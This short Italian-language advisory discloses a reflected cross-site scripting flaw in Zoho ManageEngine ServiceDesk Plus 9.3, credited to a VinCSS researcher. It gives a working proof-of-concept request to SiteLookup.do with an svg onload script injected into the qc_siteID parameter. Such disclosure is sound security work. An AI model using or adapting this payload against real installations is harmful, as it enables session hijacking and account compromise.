
Descrizione informativa: È stato scoperto un problema in Zoho ManageEngine ServiceDesk Plus 9.3. È presente una XSS tramite il parametro qc_siteID di SiteLookup.do.
Autore: Concobe di Tarantula Team - VinCSS (membro di Vingroup)
domain/SiteLookup.do?configID=0&SELECTSITE=qc_siteID"/><svg onload=alert('XSS')>&userConfigID=1&SELECTEDSITEID=1&SELECTEDSITENAME=